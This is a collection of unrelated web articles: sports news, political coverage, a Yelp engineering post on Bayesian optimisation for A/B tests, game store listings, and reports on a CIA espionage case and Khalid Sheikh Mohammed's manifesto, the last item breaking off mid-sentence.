Help America Vote Act of 2002 sought to remove impediments, but advocates say many barriers remain. The National Disabilities Rights Network, for one, seeks to inspect polling locations in advance, but many are not open until Election Day, making that impossible. Some of Clinton’s most affecting moments on the campaign trail have come when people have approached her on rope lines or during round-table discussions about their struggles caring for disabled family members. The campaign has turned some of Clinton’s backstage interactions, with a man who could hardly afford to care for his mother who had Alzheimer’s, and an Iowa mother suffering from breast cancer, into online ads, a series of which have been released in recent weeks. And she has often turned to the subject spontaneously. In New Hampshire in February, she deviated from a planned focus on the economy to invoke the many disabled people she had met on the campaign trail who were seeking greater job opportunities. “They’re an adult with autism, or they’re in a wheelchair and they want to work. They want to contribute,” she said. “What are we going to do?” -NOVEMBER 1: The Jays have officially announced that they’ve extended a qualifying offer to Cabrera. SEPTEMBER 16: The Blue Jays are pleased with Melky Cabrera both on and off the field and will make him a qualifying offer following the season with the hope of retaining the switch-hitter on a multi-year deal, reports Jon Heyman of CBS Sports. A qualifying offer, expected to fall in the $15MM range this winter, will be worth nearly as much as the two-year, $16MM pact Cabrera inked with the Blue Jays prior to the 2013 season. As ESPN.com’s Buster Olney recently said (Insider link), issuing Cabrera a QO appears to be a “slam dunk” for Toronto. Though his season ended a bit prematurely due to a fractured pinkie finger suffered this month, Cabrera certainly put up some impressive numbers in his walk season. The 30-year-old hit .301/.351/.458 with 16 homers with slightly below-average glovework in left field. In total, Fangraphs pegs him at 2.7 wins above replacement, while Baseball-Reference valued him at 3.1. Cabrera, of course, brings with him to free agency the baggage of having served a 50-game suspension after testing positive for synthetic testosterone back in 2012. While many were quick to point to his disappointing 2013 season — he hit just .279/.322/.360 — as evidence that he’d benefited substantially from PEDs, doctors eventually found a benign tumor on Cabrera’s spine that had to significantly impact his ability to produce. The question, of course, will be what type of deal Cabrera can command this winter — a topic which MLBTR’s Charlie Wilmoth examined in depth in a recent Free Agent Stock Watch post. Cabrera recently told reporters that he hopes to remain in Toronto, stating that he loves the city of Toronto and suggesting that he feels indebted to a team that gave him a chance when his value was at its lowest point. I’d think a four-year deal is attainable for Cabrera on the open market, particularly after Jhonny Peralta managed to secure such a contract on the heels of a much more recent PED suspension last winter. -A/B Testing Experiment Frameworks and MOE We recently open sourced MOE, the Metric Optimization Engine, a machine learning tool for solving global, black box optimization problems. An example application for such a system is optimally running online A/B experiments. A/B testing segments the users that come to a site into buckets, or cohorts, and show different versions of the site to different cohorts of users. One can show 50% of users one version of a site (version A) and 50% of users another version of a site (version B). After some amount of time we can see which version of the site performs better on various metrics (like Click Through Rate (CTR), conversions, or total revenue) and shift all of your traffic over to the better version. This can be repeated as we converge towards the best version of the site under the metric(s). It can take a long time to attain statistically significant results for experiments. We want to know with high confidence that one version of the site is better than another. Depending on user traffic it can take days, or even weeks, to run a single iteration. These experiments are also expensive; by showing a suboptimal version of your site, you are sacrificing potential revenue. There is also an opportunity cost associated with creating, developing, and running any particular experiment. So the fewer experiment iterations to get to the optimum, the better. Furthermore, many A/B tests are merely parameter selection problems (an A/A’ test, where a feature stays the same, and only the underlying parameters change). Given a feature, we want to find the optimal configuration values for its parameters as quickly as possible. MOE was designed to optimally solve problems like this, when we want to find an optimal set of parameters (inputs) of a function (a metric, like CTR) when sampling this function is time consuming or expensive (like running an A/B test experiment on live traffic). By leveraging MOE we can build a general experiments platform that automatically promotes good cohorts and pushes traffic away from under-performing cohorts, then replacing them with new, winning configurations. Figure 1: MOE can be used to optimally assign traffic allocations in an A/B testing framework and to suggest new parameters to sample given the historical values already sampled. Using Multi-Armed Bandits for Optimal Traffic Allocation Instead of naively allocating traffic in some uniform way (like a 50/50 split) we can use the information about how an individual cohort is performing to dynamically and optimally allocate the best percentage of traffic to it. This is fundamentally a tradeoff between exploration and exploitation. Exploration is equivalent to gaining more knowledge about the system by continuing to allocate traffic to a wide variety of points. Exploitation on the other hand, is using the knowledge we have already gained to get the most expected return out of the system as we currently understand it. Others have shown that using Multi-Armed Bandits can achieve better results, faster, in online A/B tests. MOE has many different bandit policies implemented and allows the user to select a policy that best fits their desired trade-off between the exploration and exploitation of the data. By using a Multi-Armed Bandit approach we can limit the amount of suboptimal traffic allocation in an A/B test, leaving as few gains on the table as possible. Using Bayesian Global Optimization to Suggest Parameters As the Multi-Armed Bandit system starts lowering the traffic allocation for a certain experiment we have two choices. We can turn off that cohort, and allow the remaining cohorts to battle it out until we have one clear winner (within whatever confidence we desire). Alternatively, we can have MOE suggest a new cohort using Bayesian Global Optimization (with a new set of underlying parameters) for the system to try. This allows the system to play an internal game of king-of-the-hill, where better and better parameters are being sampled as the objective continues to rise higher and higher. MOE uses the historical data gained so far to decide which points to sample next. It suggests new parameters to try that have the highest Expected Improvement under a Gaussian Process model. These are the parameters that are expected beat the current best set of parameters by the most, using whatever metric we provide as the objective function. This method converges much faster to global optima than other heuristic methods like grid search, random search or basic hill climbing. By constantly spinning down underperforming cohorts in our experiment and replacing them with optimal new cohorts we allow our experiment framework to continually search the underlying parameter space for the best possible parameters. Putting it all Together Let’s assume that we want to optimize some underlying parameter that affects our ad Click Through Rate (CTR) in some way. This parameter could represent anything from a threshold in our system to some hyperparameter to a feature in our ad targeting system. Let’s say we currently are running with this parameter set to the value 0.2 in production, our status quo. We would like to run an experiment where we sample other values of parameter in an attempt to maximize CTR. We will need to run time consuming and expensive experiments every time we want to measure CTR, so we will use MOE to help us find the optimal value in as few samples as possible. We simulate the observed CTR of the system for 1 million users by sampling from a Bernoulli distribution with the given true CTR. In a real world system we do not know exactly how the underlying parameter affects CTR, which is why we need to sample various values with real traffic to find the optima. For the purposes of this example, we will define the exact function of CTR with respect to the underlying parameter for simulation purposes, keeping it hidden from MOE. Note that the function need not be convex or even continuous. Figure 2: The graph of the true CTR vs the underlying parameter. There is a local CTR maximum at 0.143 and a global CTR maximum at 0.714. We begin the experiment by asking MOE for 2 new parameter values to sample, in addition to our current status quo value of 0.2. We will set our objective function for MOE to optimize to be the relative gain over the status quo CTR. We note that this gives our status quo parameter a value of 0, and any parameter that has a higher CTR than the status quo will have a positive value, while any parameter that has a lower CTR will have a negative value. Our initial representation of the underlying system, and the Gaussian Process, looks like Figure 3. Figure 3: The blue (mean) and green (variance) plot is the initial Gaussian Process representation of the space that MOE optimizes. The dashed gray line is the true, unknown objective function, the relative CTR gain vs status quo. MOE suggests two points as the initial parameters to test. These will be the corresponding parameters for cohort 1 and cohort 2 respectively. Initially we will conservatively allocate new cohorts to have 5% of traffic each, using the epsilon greedy bandit policy with epsilon set to 0.15. The remaining 90% of traffic will go towards the best parameter value observed so far. Once we have the simulated data we can determine which cohorts have performed well and which ones should be turned off. We turn off any cohort that has a CTR more than two standard deviations worse than the current best observed CTR. We then query MOE for new, optimal parameters to sample given how all historical parameters have performed. This is repeated multiple times as poorly performing parameter values are culled and new parameter values are suggested by MOE. See Figure 4 for the evolution of the underlying Gaussian Process and watch MOE converge to the globally optimal parameter value. Figure 4: The new points be sampled each day (red x) and previous points (blue x) influence the Gaussian Process representation of the relative CTR gain that MOE uses to optimize the underlying parameter. We can see the Gaussian Process getting more accurate with respect to the true function (dashed gray) as more points are sampled. By iterating to the global optimal parameter value in as few samples as possible, we can increase the system CTR far beyond the initial status quo value, or even the local maxima. In this example, by the second set of sampled parameters MOE is beating both the status quo CTR value and the CTR the best local parameter value, achieving the best global parameter value within the third set of sampled points. Figure 5: The simulated CTR during for each round of sampled parameter values. Initially the system CTR is equal to the status quo CTR. MOE quickly finds better and better values of the underlying parameter, converging to the global optima in 3 short sets of samples. Using MOE in your experiment framework All of the code used to generate this example can be found here. Other examples of using MOE can be found here. The Multi-Armed Bandit portion of MOE is documented here. The Bayesian Global Optimization components are documented here. Any issues can be reported in the issue tracker. Questions or comments can be sent to opensource+moe@yelp.com. Back to blog -The day I attended, about 100 parishioners, among them many parents with small children, were gathered for a subdued, half-hour Mass without a homily. An additional group of about 30 young, red sweater-clad children, from the Catholic Montessori school on the grounds, were ushered in by teachers and a nun. Most of the parishioners who were there, many explained to me after, can be seen at Mass every day. The new Mass translation implemented at the end of last November, which most Catholics are still getting acclimated to, was already second-nature to them. After the Mass I attended, many lingered for an Exposition of the Blessed Sacrament, a ceremony in which devout parishioners kneel before the Eucharist and continuously recite a short prayer, a devotion that takes place several times a week at St. Catherine. Mary Ellen Konieczny, an assistant professor of sociology at Notre Dame who has produced comparative studies of liberal and conservative Catholic parishes, said that while Eucharistic adoration is resurging among many Catholic parishes, St. Catherine’s frequent, well-attended ceremonies, and its Latin Masses, are indications that it has a more conservative membership. In 2001, Reverend Franklyn McAfee, then the church’s pastor, told The Washington Times that the Santorum family had lived outside the parish boundaries set by the diocese when it joined—and therefore had to request special permission to join the parish. (A little less than one-third of St. Catherine’s members do this, he said, an unusually high number.) The church the Santorums joined was already well-known for its devout, sometimes unbridled, conservatism. In the ’90s, the National Catholic Reporter reported that a St. Catherine priest was one of a group of conservatives who overran a meeting in Sterling, Virginia, hosted by liberal Catholics supporting female priests and altar servers. He did not become violent, but he did not discourage his compatriots as they cut microphone cords and pushed some of the meeting participants to the ground. A police officer told The Washington Post, “There was more noise and carrying on than I’ve ever heard in my life, especially in a church.” St. Catherine also has ties to Opus Dei, an extremely conservative organization that encourages members to knit their Catholic faith with policy-making. Many members of St. Catherine belong to Opus Dei, McAfee told the Times, and Opus Dei priests still regularly hear confession at St. Catherine. For his part, McAfee was an Opus Dei cooperator—a formal title that identifies someone who does not belong to Opus Dei but assists its mission. Santorum has said he is not a member of Opus Dei, just an admirer, but he has numerous connections to the group. In 2002, he travelled to Rome with high-profile American members for the 100th birthday of Opus Dei’s founder, Josemaría Escrivá de Balaguer. (The five-day event is where Santorum first criticized John F. Kennedy’s “separation of church and state” speech, speaking to a reporter.) He has also sent two of his sons to the Heights School, a Washington, D.C. school with ties to Opus Dei. St. Catherine is one of only about 10 sites in Virginia that offers “evenings of recollection.” These are monthly, hour-and-a-half long talks by lay people and priests belonging to Opus Dei. They are segregated by sex—St. Catherine men who attend these do so at the Reston Study Center, one town over, while women attend them at St. Catherine. Brian Finnerty, a spokesperson for Opus Dei’s national office, said that men and women are separated because an evening of recollection is “intended as a prayer time, rather than as a social time, and this gets people away from possible distractions.” He added that it also allows priests and lay speakers to tailor their messages. “For men, we could offer advice like, when you get home from work and your wife asks, ‘How was your day?’ saying ‘Fine’ as you look up from the newspaper is not an adequate response. Things like that.” -Content: GWENT — Starter Pack Check price and availability in your Xbox LIVE region Game Description: The GWENT Starter Pack is a limited, one-time only offer and a great way to reinforce your card collection with additional units, spells, and heroes, including a guaranteed Legendary card! Whether you’re new to The Witcher Card Game or a seasoned player, you’ll get a total of 51 cards of various rarity, plus crafting resources for creating premium animated versions of cards. The GWENT Starter Pack contains: 1x Legendary Card, 10x Card Kegs (each contains 5 GWENT cards, one guaranteed to be Rare or better) and 400x Meteorite Powder. Purchase GWENT — Starter Pack for Xbox One from the Xbox Games Store Product Info: Developer: CD Projekt RED Publisher: CD Projekt S.A. Website: Gwent: The Witcher Card Game Twitter: @CDPROJEKTRED / @PlayGwent -Son of CIA officer who spied for Russia avoids jail... after promising to help convict his father The son of a CIA officer who spied for Russia avoided a prison sentence after he promised to help build a new case against his father. Nathan Nicholson travelled the world meeting Russian agents to collect payments on behalf of his father, Harold 'Jim' Nicholson. He is currently serving 24 years at a federal prison in Oregon for his 1997 espionage conviction. Double agent: Nathan Nicholson (right) helped prosecutors put his father (left) behind bars and escaped jail Yesterday, US District Judge Anna Brown sentenced Nathan Nicholson to five years' probation and 100 hours community service after agreeing with a joint recommendation by prosecutors and defence lawyers who said he was manipulated and groomed by his father. 'Once this defendant was confronted, he did not hesitate to accept responsibility,' Brown said in court. Nicholson had already pleaded guilty to acting as an agent of a foreign government at his father's bidding and conspiracy to commit money laundering, and Brown said his actions will remain with him for the rest of his life. The 26-year-old admitted he had idolised his father, but 'after this, I want to be my own man now. I don't want to live in someone's shadow'. In a case that unfolded like a fictional thriller, from 2006 to 2008 the 26-year-old former Army paratrooper traveled the world at his father's bidding to meet with Russian agents - in San Francisco, Mexico City, Peru and Cyprus - to collect payments the father believed were long overdue. Under cover: Nathan Nicholson met with Russian secret agents in San Francisco, Mexico City, Peru and Cyprus (file pic of Golden Gate Bridge, San Francisco) His father trained Nathan in CIA tradecraft, advising him to hide money from the Russians in different places, to never deposit more than $500 in his bank account, and to pay for trips in cash to avoid a paper trail. It began in the summer of 2006 when the incarcerated Harold Nicholson asked his son to help him contact the Russian government for 'financial assistance,' a sort of pension for his past work. Nathan Nicholson, then 22, was a student at Lane Community College. The younger Nicholson was excited about the prospect of doing clandestine work for his father, according to the sentencing memo. Harold Nicholson told his son to go to the nearest Russian consulate to make initial contact, and over the next two years, the son met with Russian agents six times. Prosecutors say Russian agents agreed to meet with the younger Nicholson because they wanted to learn how the FBI caught his father and to obtain information about the CIA. Nathan Nicholson was paid a total of about $47,000 by the Russians. The imprisoned ex-spy encouraged his son by praising his work, saying 'he had performed as well as, or better, than some of the CIA employees' he had trained for the agency, according to the sentencing memo. Cooperation: Nathan Nicholson, right, speaks to his defence lawyer Gerald Needhan following an interview in Portland yesterday But as he jetting around to his meetings with them, the FBI was already on to the father and the son. In February 2002, a 'concerned citizen' told the FBI that Harold Nicholson may have tried to contact Russian agents through other inmates and an investigation was begun, leading to an indictment in January 2009. Harold Nicholson pleaded guilty on November 8 to the same charges as his son. He faces sentencing on January 18. Harold Nicholson had risen to CIA station chief before he was arrested in November 1996 at Dulles International Airport in Virginia with ten rolls of film he had intended to hand over to Russian agents. Federal officials say that before his arrest, he had been trotting around the globe to hand off documents to the Russians and that he was paid for his work. Nathan Nicholson said he was about ten when he first learned his father worked for the CIA. At the time, Harold Nicholson was an instructor at a CIA training camp in Williamsburg, Va. The family had moved around a lot, and Nathan said he rarely saw his father but soaked up his stories about Harold Nicholson's own military career in the Army. In their sentencing memo, federal prosecutors said the elder Nicholson had 'significant emotional power' over the son, using his skills to 'groom and manipulate him' while in prison. Nathan Nicholson said he now wants to rebuild his life - a 'very frugal' existence on VA benefits and financial aid at Oregon State University, where he's studying computer science. 'I want to restore the honor that was lost,' he said. -Dwyane Wade watched Kevin Durant against Memphis, and it was like watching a flailing man drown, wave after wave crashing upon him until he had no breath to give. Durant averaged 29 points, 11 rebounds and seven assists per game in the series that ended his season. Those were not merely better than the averages Durant posted in this, the best regular season of his young life. Those were not merely better averages than the ones that just won LeBron James his fourth NBA MVP award. Those were better averages than the ones that represent Michael Jordan’s entire career. But Durant’s season is over now, and Wade watched it happen through what felt like a rearview mirror. “That was me,” he says. He nods across the gym over to LeBron. “That was No. 6, too,” he says. Sign Up and Save Get six months of free digital access to the Miami Herald A knowing laugh. “Why do you think we did what we did?” he asks. “I told myself a long time ago: ‘Never again.’ ” Wade is the biggest winner in all this winning. We will never know if LeBron could have or would have done this somewhere else, too, morphed into a master and monster with or without Wade’s help. But we do know that an aging, hurting Wade would have had to jump over James if No. 6 did not happen to be at his side. Instead, as Durant lost his stars, Wade aligned with his so he would no longer feel as overwhelmed and behind as Derrick Rose and Carmelo Anthony and Chris Paul and Durant must feel today. Can you imagine Wade trying to topple James for supremacy in his present condition? Wade might not move exactly the way he did, but that move he made three years ago is still serving him. Makes you wonder if he’ll be the one choosing to take the biggest discount again to keep this together beyond the current contracts. The Mountaintop “When you are younger, there are things that you want from the game,” he says. “Make a name for yourself. Set your family up. Individual stuff. But now all I want is the mountaintop. That’s it. The mountaintop is all that matters.” He heads toward it on a bruised knee that cooperates inconsistently, doubt surrounding him like clouds along the climb. “I don’t mind having to prove myself,” he says. “I’ve always had to do that. I’m used to it. Once people come to expect something, they expect it all the time. I understand that. Sometimes I laugh at the doubts. Sometimes I use them as fuel. And sometimes it pisses me off. God gave me the gifts for this. I’m special.” There is no ego in the way he says “I’m special,” incongruous as that might seem. It is delivered more like a fact than an opinion. He believes in himself, and he cloaks himself in that belief while wearing things others won’t and in doing basketball things others don’t. That belief has carried Wade out of poverty and desperation and an upbringing that included a mother addicted to drugs, and it has served him as he has climbed out of and over the rough neighborhoods fighting with literal hunger for those basketball dollars. He has spent a lifetime overcoming all manner of obstacles with that belief, and so now he believes in belief with a religious fervor, and he treats it as blasphemy if you don’t believe as fervently as he does. “Wouldn’t the doubt piss you off?” he asks. Well, no. If you are 100 percent confident in something, anything, the doubt of others does not tend to bother you much, rain sliding off a waxed car. Anger is for the defensive, when an intruder gets too close to a sensitive truth, and the people wondering about Wade are noticing a decline in his health, not his game, though it can be hard to separate those things for the wounded. In other words, it is not personal, and the critics on the outside are doing what Wade himself is doing on the inside. No doubting ability Asked about doubting, this is what he says: “Of course I have doubt.” Then he clarifies: “But it isn’t about doubting your ability. Never, ever. Never, evvvvvvvver. It is only doubting the injury. It is never, ever doubting the ability.” So he uses belief and these holy gifts to conquer, but the other day he had to go back to the locker room to have his kneecap put back in place with tightened tape before coming out to finish the Chicago Bulls’ season. And there was a defiance in him after that, wondering aloud if one day doubters would correctly appreciate his game. There was ego in that because you will always find ego and greatness residing in the same neighborhood, but the don’t-you-dare-doubt-me was unusual given that it was obvious to any eye that Wade wasn’t himself in the Bulls series, unable to get to the free-throw line with his usual breakneck style. Part of that was the way the Bulls always defend him; part of that was the knee limiting him in a way that makes you wonder as the games, opponent and climb get harder. Better situation Too much of sports coverage is absolutely extreme and extremely absolute. Less than a year ago, LeBron James was allegedly a fragile choker; now Alonzo Mourning says Scottie Pippen told him that James would have kicked Michael Jordan’s butt. Extremists can’t be found in the middle. So it can’t be that Wade is a still-great player who is also injured/diminished without the person wondering about his game and health being dismissed as something between a doubter and a hater. Regardless, Wade has tilted all the math in his favor because, in his words, “I didn’t ever want to be in that position again, where you always, always have to be 100 percent and even that might not be enough.” He isn’t 100 percent. He doesn’t have to be. And that feels a lot like winning before you have even won. -On Monday, Dr. David Agus injected the media's regular hype about climate change into CBS This Morning's coverage of the outbreak of Enterovirus D68 in the U.S. and the Ebola crisis in Africa. The morning show brought on Dr. Agus to discuss the polio-like virus that has afflicted children across the country. Near the end of the segment, anchor Charlie Rose wondered, "So we have Ebola virus in Africa, and we now have this virus [Enterovirus D68]. What's going on?" The CBS medical contributor admitted that science didn't have any answers at this point, but that didn't stop him from wildly speculating: [MP3 audio available here; video below] DR. DAVID AGUS, USC PROFESSOR OF MEDICINE: Well, the world is flat – is that, you know, right now, anybody can get on a plane, and end up anywhere in this country and spread these viruses. And we have to be aware of it. We don't know exactly why there was a dramatic spread this year, but something is happening now. We have multiple viruses. And together with global climate change, things are changing in the virus world, and we have to pay attention. This isn't the first time CBS has injected the climate change issue into a human tragedy. On the July 16, 2014 edition of CBS Evening News, during a news brief about the 20 injuries from severe turbulence on an international flight, anchor Scott Pelley played up a study that indicated "this kind of turbulence will increase significantly in the future because of climate change." Five months earlier, CBS This Morning promoted a "controversial book" that predicted that "winter sports could be doomed" due to global warming. Back in November 2013, Pelley hyped how "greenhouse gases, which influence climate change, have hit their highest level in 800,000 years," according to a U.N. climate change report. Correspondent John Blackstone touted the supposed apocalyptic nature of this report, and asked a scientist if it was "too late" to do anything about climate change. [H/t: Pundit Press blog] -The head of one of America’s largest teachers unions said Wednesday that Donald Trump is creating “bullying environments” in schools nationwide that will take decades to repair. Randi Weingarten, president of the 1.6 million member American Federation of Teachers (AFT), made her remarks during a conference call with reporters set up by the Democratic National Committee. “What we’ve seen with Donald Trump is that there is now a new phenomenon in schools called the ‘Trump Effect,'” Weingarten said. “It will take decades to overcome the way Donald Trump speaks and promotes violence, xenophobia and racism. This is creating bullying environments in schools across the country.” (RELATED: Clinton Spins Bullying Question To Bash Trump) “As teachers, we’re going to have to work harder to help an entire generation of children recover from the hateful rhetoric that Trump has aimed at immigrants, Muslims and Black Lives Matter protestors,” she added. Trump has been connected to some alleged bullying incidents in school, though this sometimes consists of schools or activists classifying Trump support as de facto bullying. In February, a high school in Indiana sparked a scandal when students at a basketball game taunted an opposing school by waving a blown-up photo of Trump’s face chanting “Build a wall.” Weingarten also denounced Trump on a variety of other educational matters, slamming him for his role in Trump University and for advocating the abolition of the Department of Education. “It’s a disaster to our nation if Trump is selected president,” she said. Follow Blake on Twitter Send tips to blake@dailycallernewsfoundation.org. Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org. -In a tweet from Tuesday, Marvel artist Chris Bachalo famed for his work on such books as Doctor Strange and Uncanny X-Men, teased a vague new reveal on everybody’s favorite news source, Twitter. My new raison d'être will be revealed friday during a Marvel comics presentation at a pop culture event taking place in San Diego– — Chris Bachalo (@ShadeX6) July 18, 2017 As you can see, this puts the “vague” in vague reveals. Also, for those who don’t know (and I definitely didn’t just Google this before writing) “raison d’être” means “the most important reason or purpose for someone or something’s existence.” So this will likely be a new comic book he will be working on with Marvel Comics. As previously stated, he is widely known and loved for his work on X-Men comics and he has recently departed Doctor Strange, making it unlikely that he will be returning to that project. There is the possibility of an all-new title reveal, though there are a myriad of Legacy books on which he could work next. It is my hope that he will be hoping on as the long-term artist on Astonishing X-Men so that the book can stop these rotating artist shenanigans sooner rather than later. There’s something delightfully auteur about the wording of this announcement. It shows a guy who has fun with his work and clearly has a passion for it. Tomorrow and Saturday. SDCC. Booth 4419. Approximate hours 12-3 each day. Looking forward to meeting you! — Chris Bachalo (@ShadeX6) July 20, 2017 Bachalo will be at Booth 4419 at SDCC for those who will be attending and want to meet one of the most talented artists at Marvel at the moment. When we know for sure what his next project will be, we’ll certainly let you know. Unless you’re there and hear it firsthand of course, in which case you’ll know when we do. Happy Comic Con, people! About Joshua Davison Josh is a longtime super hero comic fan and an aspiring comic book and fiction writer himself. He also trades in videogames, Star Wars, and Magic: The Gathering, and he is also a budding film buff. He's always been a huge nerd, and he hopes to contribute something of worth to the wider geek culture conversation. He is also happy to announce that he is the new Reviews Editor for Bleeding Cool. Follow on Twitter @joshdavisonbolt. (Last Updated ) Related Posts None found -PRODUCT DESCRIPTION Squad up and breach in to explosive 5v5 PVP action. Tom Clancy's Rainbow Six® Siege features a huge roster of specialized operators, each with game-changing gadgets to help you lead your team to victory. Master the art of destruction and gadgetry. Face intense close-quarters combat, tactical team play, and explosive action in every moment. Experience new strategies and tactics as Rainbow Six Siege evolves over time. Change the rules of Siege with every update that includes new operators, weapons, gadgets and maps. Rainbow Six Siege is the acclaimed first-person shooter franchise developed by the renowned Ubisoft Montreal studio for the new generation of consoles and PC. Inspired by the reality of counter terrorist operatives across the world, Rainbow Six Siege invites players to master the art of destruction. Intense close quarters confrontations, high lethality, tactics, team play, and explosive action are at the center of the experience. The multiplayer gameplay of Rainbow Six Siege sets a new bar for intense firefights and expert strategy in the rich legacy of past Rainbow Six games. KEY FEATURES COUNTER TERRORIST UNITS Counter terrorist operatives are trained to handle extreme situations, such as hostage rescue, with surgical precision. As “short range” specialists, their training is concentrated on indoor environments. Operating in tight formations, they are experts of close quarter combat, demolition, and coordinated assaults. Rainbow Six Siege will include operators coming from five of the most worldwide renowned CTU: the British SAS, the American SWAT, the French GIGN, the German GSG9 and the Russian SPETSNAZ. THE SIEGE GAMEPLAY For the first time in Rainbow Six, players will engage in sieges, a brand-new style of assault. Enemies now have the means to transform their environments into strongholds: they can trap, fortify, and create defensive systems to prevent breach by Rainbow teams. To face this challenge, players have a level of freedom unrivaled by any previous Rainbow Six game. Combining tactical maps, observation drones, and a new rappel system, Rainbow teams have more options than ever before to plan, attack, and diffuse these situations. PROCEDURAL DESTRUCTION Destruction is at the heart of the siege gameplay. Players now have the unprecedented ability to destroy environments. Walls can be shattered, opening new lines of fire, and ceiling and floors can be breached, creating new access points. Everything in the environment reacts realistically, dynamically, and uniquely based on the size and caliber of bullets you are using or the amount of explosives you have set. In Rainbow Six Siege, destruction is meaningful and mastering it is often the key to victory. ©2019 Ubisoft Entertainment. All Rights Reserved. Tom Clancy's Rainbow Six Siege, Ubisoft and the Ubisoft logo are trademarks of Ubisoft Entertainment in the U.S. and/or other countries. -Mastermind behind the 9/11 attacks renounces violence and wants to convert his captors to Islam Khalid Sheikh Mohammed was the self-proclaimed mastermind who planned the September 11, 2001 terrorist attacks He has now released a 36-page manifesto from Guantanamo Bay Decries 'the so-called War on Terror' and announced his plans to convert all of the non-Muslims involved in the 'kangaroo court' to Islam Criticizes adultery, same sex relationships, depression, soldier suicides and AIDs all as examples of problems with Western morality His trial has been a point of controversy since he was charged in 2008 The mastermind of the September 11 terrorist attacks has penned a 36-page manifesto in an effort to convert his lawyers and the judge in the ‘kangaroo court’ to Islam. Khalid Sheikh Mohammed uses quotes from former presidents George W. Bush and Richard Nixon as argument points in his push against America, ‘the so-called "War on Terror"’ and Christianity. The manifesto, obtained by The Huffington Post, was the first of three planned parts that the al Qaeda leader has written from inside the most secure portion of Guantanamo Bay where he and other high-value detainees are held. His new mission: Khalid Sheikh Mohammed (right) wrote the first of a three-part manifesto wherein he describes his desire to convert all of the non-Muslims in the trial process- including his lawyer and judge- to Islam Mohammed’s statement marks a dramatic change from his earlier statements, as he previously defended the right to use violence in order to spread the word of Islam. Instead, the document attempts to make a more rationalized and philosophical argument. ‘It is my religious duty in dealing with any non-Muslim such as the people in court (the Judge, the prosecution, attorneys, etc.) to invite them to embrace Islam… it is my own belief that Allah will ask me on the Day of Judgment why I did not invite these people to Islam?’ he writes. ‘American crusader soldier men and women join the U.S. army, wear the latest military gear, eat the best food in Iraq and Afghanistan, and play with their play stations... but at the end, the American soldiers’ -writes Khalid Sheikh Mohammed ‘Do not believe those who claim that the Mujahedeen fight infidels to turn them to Islam or that we are fighting you because you practice democracy, freedom, or claim that you uphold human rights. Islam prohibits us to force our religion on any human being but encourages us to invite them with wisdom and fair preaching and to persuade them in the best way.’ The document is written in English as the terrorist attended college in North Carolina and has a strong understanding of the language. He regularly refers to the collective group of those fighting- many times violently- for Islam as the Muhajedeen. ‘I wanted to write these papers in three parts. I had written most of the first part before they took away our laptops that contain the evidence, at the end of 2009. I will later work on to complete the remaining two parts after the government returns our computers soon,’ he wrote. He teases that the two yet-unwritten chapters will include his justifications for the September 11th terrorist attacks, as well as his views on the ensuing war on terror. Ongonig: Mohammed was captured in 2003 and he has declared himself to be the mastermind behind the September 11 terrorist attacks that left nearly 3,000 dead- but now he has renounced violence as a means of conversion ‘The second part deals with why the Mujahedeen carried out 9/11 and whether it was a terrorist operation or an act of self-defense sanctioned by every constitution and international laws as the right of everyone whose land is occupied and whose people are attacked,’ he wrote. The third portion poses a number of questions about the wars that followed which will surely become fodder for conspiracy theorists, as he asks ‘Were they fought to defend freedom and human rights? Women's rights? Or were they fought for the benefits and interests of individuals and corporations?’ While the first few pages focus largely on the sunny interpretation of himself as a messenger of Allah, the manifest spins into a diatribe against Western social ills, slamming the Catholic church, same sex relationships, and greed. One of the most pointed critiques comes when he uses the high rate of suicide among returning American veterans as a mark against the wars in Iraq and Afghanistan as well as American might. ‘American crusader soldier men and women join the U.S. army, wear the latest military gear, eat the best food in Iraq and Afghanistan, and play with their play stations while their enemies, the poor Muslim can’t find their daily bread or jacket to protect themselves from the harsh snowstorms over Afghanistan mountains, but at the end, the American soldiers go home and commit suicide but the poor man still with his dry bread and black tea lives with his poor wife in their humble muddy house but with happy hearts and souls,’ he wrote. The legal fight against Khalid Sheikh Mohammed, who is commonly referred to as KSM, formally began in February 2008 when he was charged with organizing the September 11 attacks that killed nearly 3,000 people. The trial has been plagued by controversies, starting with whether it would be held in a military or civilian court and more recently with the decision to allow Mohammed and his other defendants from wearing soldier’s fatigues in the courtroom. -Les Snead, doing his best to avoid the hype and hoopla: @NFL_AM And that's Les Snead 60 yds downfield looking at Mike Evans while everyone else is up by Johnny Football. pic.twitter.com/arjRmj8Rzr — Tony Schreck (@shrek_13) March 28, 2014 Zac Stacy as bell cow running back?: Fisher, on RB Zac Stacy's evolving role with Rams: "I think over time, he'll probably be that 70-percent of the carries guy." — Jim Thomas (@jthom1) March 26, 2014 Would it surprise anyone if the Rams selected Jadeveon Clowney with the #2 overall selection?: Could Rams take DE Jadeveon Clowney at No. 2 overall? Fisher: "I've learned over the years that you never have enough pass rushers." — Jim Thomas (@jthom1) March 26, 2014 Looks like the Rams will be searching for a safety in the draft: Houston Texans reached agreement on two-year deal with former Dolphins S Chris Clemons, per source. #Markman50 — Adam Schefter (@AdamSchefter) March 28, 2014 Does this signing affect the Rams' draft plans?: Rams signed former Titans WR Kenny Britt to a one-year, $1.4M deal, including $550K, per source. Max value of deal is $2.9M. — Adam Schefter (@AdamSchefter) March 31, 2014 Rams' 1-year deal with former Titans WR Kenny Britt includes $550K guaranteed. — Adam Schefter (@AdamSchefter) March 31, 2014 Kenny Britt’s deal with the #Rams is worth $1.4M base, but incentives could take it to $2.9M, source says. — Ian Rapoport (@RapSheet) March 31, 2014 Les Snead talks with Alex Marvez regarding the progress of the Rams, Jeff Fisher, and the status of Jake Long and Sam Bradford: Rams Pick Ideal Insurance Policy For Bradford: 101 ESPN The Rams signed free agent QB Shaun Hill to a one-year contract last week. Hill represents a relatively inexpensive upgrade over Kellen Clemens. With Bradford, Hill, and Austin Davis now on the roster, will the Rams still be looking to draft a developmental prospect in May? Rams' draft needs: Greg Robinson could bolster O-Line: NFL.com Analyst Daniel Jeremiah assesses the Rams' needs heading into the 2014 NFL Draft, and the prospects who could fill those needs. Jeremiah suggests the Rams' primary needs are: offensive tackle, safety, cornerback, and wide receiver. Secondary still a top priority for Rams: ESPN NFC West The Rams have done little to upgrade their secondary this off season. They will undoubtedly be looking at this years draft to bolster the secondary: "Armed with 12 picks in this year's draft, it's a safe bet the Rams will select at least one corner and one safety somewhere along the way. All that remains to be seen is whether those positions are enough of a priority for those picks to happen sooner than later." Fisher sounds as if Rams will pass on Watkins: St. Louis Post-Dispatch As expected, Jeff Fisher is giving very little away with 